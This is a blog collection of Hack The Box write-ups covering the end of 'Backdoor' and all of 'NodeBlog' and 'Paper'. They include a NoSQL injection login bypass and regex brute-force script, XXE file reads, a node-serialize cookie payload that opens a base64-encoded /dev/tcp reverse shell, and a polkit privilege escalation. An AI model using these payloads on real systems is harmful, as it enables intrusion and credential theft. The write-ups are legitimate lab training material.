c9e▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓9d0

Back To Enumeration

I span up a Python webserver and downloaded LinPEAS onto the target. Below, you can see the output which shows the yellow and red highlighted privilege escalation vectors. It shows 2 CVE’s which I believe to be ‘pkexec’ and ‘polkit’. However, I don’t think these are the intended paths to root. Looking a bit deeper we can see that there is a ‘screen’ session running as run. If we can connect to that then we would be root and own the system.

LinPEAS

Privilege Escalation

This is a fairly trivial privilege escalation provided you found the ‘screen’ process. We can confirm the session by listing out the screen sessions.

user@Backdoor:~$ screen -ls root/                                                                                                                                                           
screen -ls root/
There is a suitable screen on:
1006.root (03/25/23 08:00:29) (Multi, detached)
1 Socket in /run/screen/S-root.

You can then resume the session with the ‘-r’ argument and the name of the session.

user@Backdoor:~$ screen -r root/

Finally, we can now capture the root flag.

root@Backdoor:~# cat root.txt
cat root.txt
256▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓426

Backdoor Lessons

By completing the Backdoor vulnerable Linux box I learnt a few new tricks. First was the WordPress Ebook plugin directory traversal vulnerability. Additionally, I learnt that a lot of WordPress installations have a directory listing in their plugins directory due to a missing index page. The trick to steal the process information to identify what was listening on port 1337 was a great techqniue. Furthermore, I didn’t know GDBServer was a thing. Sure I know about GDB and have used it a few times but I digress. This was a fun box and I learnt some new techniques which I will hopefully retain.

Hack The Box – NodeBlog

NodeBlog is a retired easy Linux machine created by IppSec on Hack The Box. I’m looking forward to conquering this beast. Hello world, welcome to haxez. I haven’t done much with Node JS and NoSQL so this is going to be a learning experience for me. As a result, this write-up is probably going to follow the exact methodology used by IppSec in his walkthrough video.

NodeBlog Enumeration

In the world of hacking the one with the most information is the king or something like that. The more information we have about the target box, the better. First, I ran a ping against the box and it responded so I performed a Nmap scan. As you can see from the results below we have port 22 for SSH and port 5000 for HTTP which is interesting. We can also see that it is using Node.js Express.

┌──(kali㉿kali)-[~/NodeBlog]
└─$ sudo nmap -sC -sV -p- -A 10.129.239.132 -oA nodeblog
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 08:13 GMT
Nmap scan report for 10.129.239.132
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)
| 256 b8399ef488beaa01732d10fb447f8461 (ECDSA)
|_ 256 2221e9f485908745161f733641ee3b32 (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 12.75 ms 10.10.14.1
2 13.06 ms 10.129.239.132
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.32 seconds

Username Enumeration

Since SSH is unlikely our method of gaining a foothold, we should go and take a look at the web application on port 5000. The NodeBlog blog has a single post about the UHC qualifiers and some links to external resources like Twitter and Discord.

NodeBlog application

We do have a login page though, navigating to it and submitting admin for the username and admin for the password tells us we have an incorrect password. Interesting, surely that should have ‘invalid credentials’ instead.

Nodeblog login portal

Testing this further, we can confirm that we do in fact have username enumeration. By submitting an incorrect username we get an error message informing us that the username is invalid. This is definitely username enumeration and we could exploit this by running Burp Intruder against it with a payload of usernames.

Login page

The MEAN Stack

I’m 5 minutes into the video and am already learning stuff. IppSec pointed out that because this application is using Node JS, it is unlikely to be using MySQL. MySQL is commonly found in the LAMP stack (Linux, Apache, PHP, MySQL). As a result, it is unlikely vulnerable to SQL injection attacks that target MySQL databases.

The MEAN stack is a popular web development technology stack that includes four open-source components. MongoDB, A NoSQL database that stores data in a JSON-like format. Express.js, A server-side JavaScript framework that provides a set of tools and features for building web applications. Angular, A client-side JavaScript framework that allows developers to create dynamic and interactive user interfaces. Node.js, A server-side JavaScript runtime that allows developers to build scalable and fast web applications.

Together, these four technologies form the MEAN stack, which provides a full-stack JavaScript development environment. MEAN stack is a popular choice for web developers who prefer to use a single language (JavaScript) for both client-side and server-side development, as well as for building real-time web applications.

Honestly, I feel like an idiot for not knowing this and now that I know this. It has been a massive missing piece to the puzzle of web application security assessments. I can’t wait to learn more.

Attack The MEAN Stack

I’m tempted to quit penetration testing and become a full-stack MEAN developer. That way, when someone asks what I do for a living I can say “I make mean applications bro!”. Anyway, As can be seen below, the POST request sent to the login page looks typical of any other login POST request. According to IppSec (because I didn’t know this) we can change the content type to make it easier to attack.

Attack The MEAN Stack

The image below shows the modified post request where the content type has been changed to ‘application/json’ and the body of the request has been formatted accordingly. Things are starting to make much more sense to me now. No training or exam has explained this to me before, it’s always been about attacking LAMP applications. As you can see, two things have changed. The content type and the structure of the body. However, the request is still processed correctly. Amazing.

Login with JSON

What we can also do is send it a malformed request and get it to return information about the file structure. As shown below, by adding another speech mark to “user” we can return the structure of the application. This will come in handy later. This is also a really good technique to know.

Syntax error directory listing

NodeBlog NoSQL/Mongo Injection

The snippet of code below looks alien to me, that isn’t SQL injection. That’s some crazy alien wizard language. Ok, no it isn’t but it is very different to the SQL injection attacks I’ve seen before. This is a whole new can of worms for me and I can’t wait to learn more. I’ve tried to indent the syntax properly but the code block on here isn’t great. Anyway, by sending the following POST request to the application, we get logged in. This is called type confusion.

{
"user" : "admin" ,
"password" : {
"$ne":"test"
}
}
Nodeblog nosql

Crafting Dark Arts Magic Spells

Unfortunately, I’m still learning parseltongue and It is at this part in the video where IppSec starts crafting a new magic spell in the form of a Python brute-forcing script. I don’t know yet whether this is required for completing the box as we’ve already logged in. However, if it is required then I already know that I wouldn’t have been able to complete this box. I call myself a Slytherin yet I can’t speak parseltongue, I’m such a failure. I’ve recreated the script exactly how he made so all credit is to IppSec. Please go watch his video for a full explanation.

import requests
import json
import string
import sys

def login(pw):
payload = '{ "$regex": "%s" }' % pw
data = { "user":"admin", "password": json.loads(payload)}
r = requests.post("http://10.129.239.132:5000/login", json=data)
if "Invalid Password" in r.text:
return False

return True

password = '^'
stop = False
while stop == False:
for i in string.ascii_letters:
sys.stdout.write(f"\r{password}{i}")
if login (f"{password}{i}"):
password += i
if login(f"{password}$"):
sys.stdout.write(f"\r{password}\r\n")
sys.stdout.flush()
stop = True
break

Running the script successfully brute forces the password using the MongoDB injection.

┌──(kali㉿kali)-[~]
└─$ sudo python3 py.py
^IppsecSaysPleaseSubscribe

We can now log in as the admin user with that password. As you can see below, we now have access to a few more features. We can edit and delete posts and we also have an upload feature. It is now becoming apparent just how important it is to identify the technologies in use before attacking a web application. Burp is great but if you’re just performing scans against the application, you probably won’t find much.

Blog articles

Identifying NodeBlog XML Entity Injection

Having an upload feature creates an attack vector if the upload feature doesn’t properly validate things. It could allow you to upload web shells to the server resulting in console access. After attempting to upload a generic text file we get an error explaining that it is an invalid XML file. We now know that the application only accepts XML.

XXE

If we head back to Burp and look at the response from the NodeBlog, it gives us the exact template that it wants us to use. I presume that this was coded to help the user and isn’t a generic error message. However, it makes sense for developers to do this in order to help their users understand the format.

Nodeblog xxe
<post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>

If we grab the template above and paste it to our own XML file and upload it, the application will then start creating the blog for us with the data provided. Now that we know the format we need to use, let’s head on over to PayloadAllTheThings and find an XML entity injection payload and try to upload it. The payload below injects “Haxez was here!” into the ‘example’ entity.

<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY example "Haxez was here!"> ]><post><title>Example Post</title><description>&example;
</description><markdown>Example Markdown</markdown></post>
XXE

Exploiting NodeBlog XML Entity Injection

I thought I was starting to properly understand XML entity injection but then the following payload twisted my brain a bit. I thought that the entity was defined by the server but it seems that we can just make up our own entities. Initially, we were using the ‘example’ entity which I thought the server provided, but now we’re using the ‘test’ entity which the server definitely didn’t provide.

So what did we actually do in the previous example? it seems like we just added text to an input box. I’m sure it’s because of the method that we used to do that which makes it vulnerable. I need to study this area more. Anyway, the payload below injects the ‘/etc/passwd’ file into the description because of magic I guess.

Unfortunatly, Medium doesn’t like the code even when inside the code block so an image will have to do.

XXE
XXE Directory Listing

So what can we do now that we have XXE? remember earlier when we sent a malformed packet which revealed the directories of the application? Well, now we can use that information to retrieve the contents of the application files. The payload below retrieves the file ‘server.js’. However, this file could have other names too such as ‘app.js’ and ‘main.js’. The important part is we know the file path. We can play guess who with the filename.

NodeBlog hack

Exploiting Node-Serialize

We can see from the list of imported modules (is ‘imported’ the right term?) that the application is using the ‘node-serialize’ module. Version 0.0.4 of the ‘node-serialize’ module has a “bug” in the ‘unserialize’ function that allows for remote code execution. The snippet below shows that the ‘unserialize’ function is being used to ‘serialize’ the cookie. With this knowledge, we should be able to create a payload and trigger it through our cookie.

--snip--
const serialize = require('node-serialize')
--snip--
--snip--
function authenticated(c) {
if (typeof c == 'undefined')
return false

c = serialize.unserialize(c)

if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
--snip--

First, capture an authenticated ‘GET’ request to the root page and send it to the repeater. Next, URL decode the cookie by highlighting it and pressing ‘CTRL, SHIFT + U’. This will allow us to modify it so that we can perform our remote code execution. Using the information found on this site >>HERE<< we can craft a payload to check this vulnerability. The payload below will send 4 ping requests to my host.

Cookie: auth={"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","haxez":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"ping -c 4 10.10.14.126\", function(error, stdout, stderr) { console.log(stdout) });}()"}

We can then set up ‘tcpdump’ to listen on tun0 for ICMP packets. We need to URL encode our payload before we send it by highlighting the cookie value and selecting URL encode all characters. Then we can click send and we start getting ICMP packets hitting our host.

Exploit
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:37:47.840352 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 60, length 64
11:37:47.840382 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 60, length 64
11:37:48.841281 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 61, length 64
11:37:48.841323 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 61, length 64
11:37:49.843018 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 62, length 64
11:37:49.843041 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 62, length 64
11:37:50.845548 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 63, length 64
11:37:50.845575 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 63, length 64

NodeBlog Foothold

We now have a proof of concept for code execution so let’s use it to get a reverse shell. First, we need our reverse shell but since we’re going to send it as a request, we should play it safe and encode it with base64.

┌──(kali㉿kali)-[~]
└─$ echo -n 'bash -i  >& /dev/tcp/10.10.14.126/9001 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTI2LzkwMDEgMD4mMQ==

However, we want the target to decode the base64 and send it to bash. The payload should look like the payload below.

echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTI2LzkwMDEgMD4mMQ== | base64 -d | bash

The final payload should look like the payload below. However, you will need to URL encode all the characters. Don’t forget to start your netcat listener before sending the request.

Cookie: auth={"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","haxez":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTI2LzkwMDEgMD4mMQ== | base64 -d | bash\", function(error, stdout, stderr) { console.log(stdout) });}()"}
Burp Suite

We now have our foothold.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.239.132] 43210
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$

I am getting some odd error messages about not being able to access the .bashrc file though. Maybe I have messed up the payload. I hope that upgrading our shell will fix it so let’s do that first.

admin@nodeblog:/opt/blog$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ ^Z
zsh: suspended sudo nc -lvnp 9001

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued sudo nc -lvnp 9001
admin@nodeblog:/opt/blog$

NodeBlog Privilege Escalation

We already have the password for this user as we were able to brute-force it with Python. However, if we didn’t have it we could have pillaged it another way. You can run ‘mongodump’ from ‘/dev/shm’ and it will dump the mongo database.

root@nodeblog:/dev/shm# mongodump
mongodump
2023-03-23T16:24:15.807+0000 writing admin.system.version to
2023-03-23T16:24:15.807+0000 done dumping admin.system.version (1 document)
2023-03-23T16:24:15.807+0000 writing blog.articles to
2023-03-23T16:24:15.807+0000 writing blog.users to
2023-03-23T16:24:15.808+0000 done dumping blog.articles (3 documents)
2023-03-23T16:24:15.808+0000 done dumping blog.users (1 document)

Then you can cat the user’s file and it will give you the password.

root@nodeblog:/dev/shm# cat dump/blog/users.bson
cat dump/blog/users.bson
n_ida�8
#sM� createdAt粳}usernameadminpassword▒IppsecSaysPleaseSubscribe__vroot@nodeblog:/dev/shm#

You can then su to root and capture the flags.

admin@nodeblog:/opt/blog$ sudo -l       
sudo -l
[sudo] password for admin: IppsecSaysPleaseSubscribe
Matching Defaults entries for admin on nodeblog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
admin@nodeblog:/opt/blog$ sudo su
sudo su
root@nodeblog:/opt/blog# cat /home/admin/user.txt
cat /home/admin/user.txt
4b7▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8b37
root@nodeblog:/opt/blog# cat /root/root.txt
cat /root/root.txt
964▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓01b

NodeBlog Review

I’m rather tired after this one. I started this at 8:00 am and it is now lunchtime. What do I want to say about this box? I enjoyed NodeBlog but I definitely struggled with it and have lots of questions. Knowing hardly anything about the MEAN stack before starting this box made it harder, but now I feel a bit more equipped to take on more challenges. IppSec’s video does a great job of explaining this box and why it’s vulnerable and now so many things about the MEAN stack make sense to me. I found this box difficult and wouldn’t have had a clue without the walkthrough. That is entirely down to my lack of knowledge. At least now I know the things to look out for when attacking applications built on the MEAN stack. Thanks for NodeBlog IppSec, it rocks!

Hack The Box – Paper

Paper is a retired vulnerable Linux machine on Hack The Box created by secnigma. Hello world, welcome to haxez where today I will be attempting to hack the box named Paper. By the looks of it, the creator of this box enjoys The Office.

Paper Enumeration

As with all successful hacks, the first stage is to enumerate the system. We need to gather as much information about the system as possible. Information is the commodity of hacking and cybersecurity. The good guys try to protect it, the bad guys try to steal it. To start this information-gathering process, I used the tool Nmap to find out what services were running on the box.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ sudo nmap -sC -sV -p- -A 10.129.136.31 -oA paper
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-22 06:59 GMT
Nmap scan report for 10.129.136.31
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 1005ea5056a600cb1c9c93df5f83e064 (RSA)
| 256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA)
|_ 256 3178afd13bc42e9d604eeb5d03eca022 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/22%OT=22%CT=1%CU=30873%PV=Y%DS=2%DC=T%G=Y%TM=641AA77
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=100%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O
OS:3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M550NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

We can see from the output above that there are 3 ports open. Port 22 for SSH, port 80 for HTTP and port 443 for HTTPS (The encrypted version of HTTP). Visiting port 80 gives us a generic HTTP Server test page. I suspect that there isn’t much going on there but it does disclose a number of configuration file locations and that the host is CentOS.

Paper Server Test Page

We can come back to this later if needs be but let’s head over to port 443 and see what’s going on there. Ok, I was expecting some sort of redirect to happen but it’s the same page. I didn’t see anything in the Nmap scan that suggested a hostname. Furthermore, the certificate is for localhost.localdomain so I’m not sure what I’m supposed to see here.

Paper Interception

Using Burp Suite, we can intercept responses from the server which may give us more information about the host. Some headers like the server and powered by headers can tell us what the webserver version and utilised programming languages are. As you can see from the image below, there is an interesting header named ‘X-Backend-Server’ with the value of ‘office.paper’.

Paper Interception

Let’s add that to our host file and see whether we can visit that like a URL. I wonder if there is a ‘.paper’ Top Level Domain name. It could be good for a news organisation like news.paper. Perhaps not.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ echo "10.129.136.31 office.paper" | sudo tee -a /etc/hosts
10.129.136.31 office.paper

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.136.31 office.paper

Paper Web Application Enumeration

Interestingly, the HTTPS port remains to be a web server test page. However, the HTTP port now reveals a website for Blunder Tiffin. Poking around the website we can see that it appears to be a blog with posts coming from a user called Priosnmike. We should add that user to our notes as it may come into use in the future.

Paper website

I can take a guess as to what Content Management System is being used for the blog. However, in order to do this properly we’re going to use the tool whatweb to identify what technologies are in place. As you can see from the output below, the web app is powered by WordPress.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ whatweb http://office.paper/
http://office.paper/ [200 OK] Apache[2.4.37][mod_fcgid/2.3.9], Bootstrap[1,5.2.3], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.129.136.31], JQuery, MetaGenerator[WordPress 5.2.3], OpenSSL[1.1.1k], PHP[7.2.24], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Blunder Tiffin Inc. &#8211; The best paper company in the electric-city Scranton!], UncommonHeaders[link,x-backend-server], WordPress[5.2.3], X-Backend[office.paper], X-Powered-By[PHP/7.2.24]

Finding Vulnerabilities

There are a number of ways you can identify vulnerabilities in WordPress. For example, you could find the version number in the page source somewhere and google vulnerabilities for that particular version. However, there is a tool that will do it for us provided you have an API key. Wp-scan is a great tool for finding WordPress vulnerabilities and as you can see below, it has found a great many.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ wpscan --url http://office.paper/ --api <your_api_key>
Paper WP Scan

We could poke at all the vulnerabilities 1 by 1 but let’s just head to the intended method. The vulnerability with the CVE designation CVE-2019–17671 lets an attacker view posts that haven’t been published yet. This could be embarrassing for an organisation, lord knows I have lots of unfinished and unpublished posts that I wouldn’t want anyone to see. Anyway, we can use this vulnerability to view unpublished posts by visiting the following URL.

http://office.paper/?static=1

Reading through the unpublished posts reveals another subdomain that we can add to our host’s file.

Hidden page

Rocket Chat

Adding the URL to our host file and visiting it in our browser reveals a Rocket Chat application. While we don’t have any credentials yet, let’s try signing up to see if we can access it. Sure enough, creating a user lets us log in to Rocket Chat and poke around. I need to stop for a moment just to say how awesome this box has been so far. The creator has done an incredible job of replicating the personality of The Office. It is actually very believable that this box was set up by the team from The Office.

Paper Rocket Chat

Moving forward, we can see that none other than Dwight Schrute has set up a bot to be more productive. However, Dwight Schrute more like Dwight Noob amirite, seems to have created a vulnerability in doing so. As you can see from the image below, we can list files.

Rocket chat disclosure

Paper Foothold

Now that we seem to have the ability to list directories and read files, let’s go after some credentials. Both WordPress and Rocket chat will have a database connection string file used to connect to their databases. If we can nab the password from one of those files, we might be able to use it to log in via SSH. If we ask recyclops to show us the following file, it will give us the password for the database. Furthermore, we can also find the users of the system by getting the /etc/passwd file. While your bot implementation wasn’t great, you do have excellent taste in video games Dwight. The password is ‘Queenofblad3s!23’ and we can see Dwight is an SSH user. He probably reuses passwords.

file ../hubot/.env
Rocket Chat RCE

And just like that, we’re in and grab ourselves a fresh user flag. However, it doesn’t seem that Dwight has given himself sudo. That’s questionable.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ ssh [email protected]
The authenticity of host '10.129.136.31 (10.129.136.31)' can't be established.
ED25519 key fingerprint is SHA256:9utZz963ewD/13oc9IYzRXf6sUEX4xOe/iUaMPTFInQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.136.31' (ED25519) to the list of known hosts.
[email protected]'s password:
Activate the web console with: systemctl enable --now cockpit.socket
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ cat /home/dwight/user.txt
3b05▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a25

Back To Enumerating

For each step forward we take we must go back to our first step and start enumerating again. As soon as we get a new level of access, enumerate! I downloaded a copy of LinPEAS locally and span up a python web server. I then used wget on the target system to download the file. Next, I gave it executable permissions and ran it.

┌──(kali㉿kali)-[~/Paper]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230319/linpeas.sh
linpeas.sh 100%[=======================================>] 808.76K --.-KB/s in 0.1s
2023-03-22 08:39:04 (6.04 MB/s) - 'linpeas.sh' saved [828172/828172]

┌──(kali㉿kali)-[~/Paper]
└─$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I’ve added the screenshot below for no other reason than to include the pea, it’s adorable and I will never not include them in my writeups.

Paper LinPEAS

Privilege Escalation

This is interesting, the official walkthrough and many other walkthroughs discuss CVE-2021–3560 Polkit Privilege Escalation. However, as you can see from the screenshot below, this did not show up in my LinPEAS results.

Hmmmm Not The CVE I was looking for

I decided to check the version of polkit bit querying the package manager and it does seem to be the vulnerable version as you can see from the output below. Furthermore, the GitHub page also explains that it has been tested with this version of Polkit and that it works.

[dwight@paper tmp]$ rpm -qa | grep -i polkit
polkit-0.115-6.el8.x86_64
polkit-pkla-compat-0.1-12.el8.x86_64
polkit-libs-0.115-6.el8.x86_64
GitHub Said So

What’s interesting is that it does add the user correctly but I’m unable to switch to that user once the exploit is complete. As you can see from the images below, the exploit runs and adds the user ‘haxez’ with the password ‘haxez’. I have confirmed that the user is added to /etc/passwd but was unable to switch to that user.

haxez:x:1006:1006:haxez:/home/haxez:/bin/bash

Was this the unintended method of PE and has since been patched? Has something else happened to the system that has stopped it from working? What if I’m never able to get the root flag for this box?

Never mind, it seems that there is a clean-up script which goes through and removes users. I think this was added on so that we could keep trying the exploit. Perhaps my timing was just awful and it was cleaning up right after I ran the exploit. Fortunately, the exploit finally worked (after many many attempts) and as you can see below we can now grab the root flag.

[dwight@paper tmp]$ su - secnigma
Password:
su: Authentication failure
[dwight@paper tmp]$ bash poc.sh
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - secnigma
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
[dwight@paper tmp]$ su - secnigma
Password:
[secnigma@paper ~]$ sudo su -
[sudo] password for secnigma:
[root@paper ~]# cat /root/root.txt
447▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e6a

Paper Review

This was an absolutely phenomenal box in my opinion. It wasn’t too easy and it did a great job of carefully nudging you forward. This is what all easy boxes should be like in my opinion. Publicly known exploits that the user has to find. Unfortunately for whatever reason LinPEAS didn’t seem to find the vulnerability, I should have run other tools on it to see if they found it. I love how strongly this box was themed and I wish more boxes had stronger themes like this. I loved the web app challenges on Hack This Site for that very reason. Giving it a strong theme allows me to immerse myself in the challenge rather than just exploiting another box. I also enjoy anything with WordPress as I’ve used WordPress for many years and love finding out new quirks. Anyway, that’s all from me today, I’m going to submit my flags, give secnigma my respect and leave a nice review.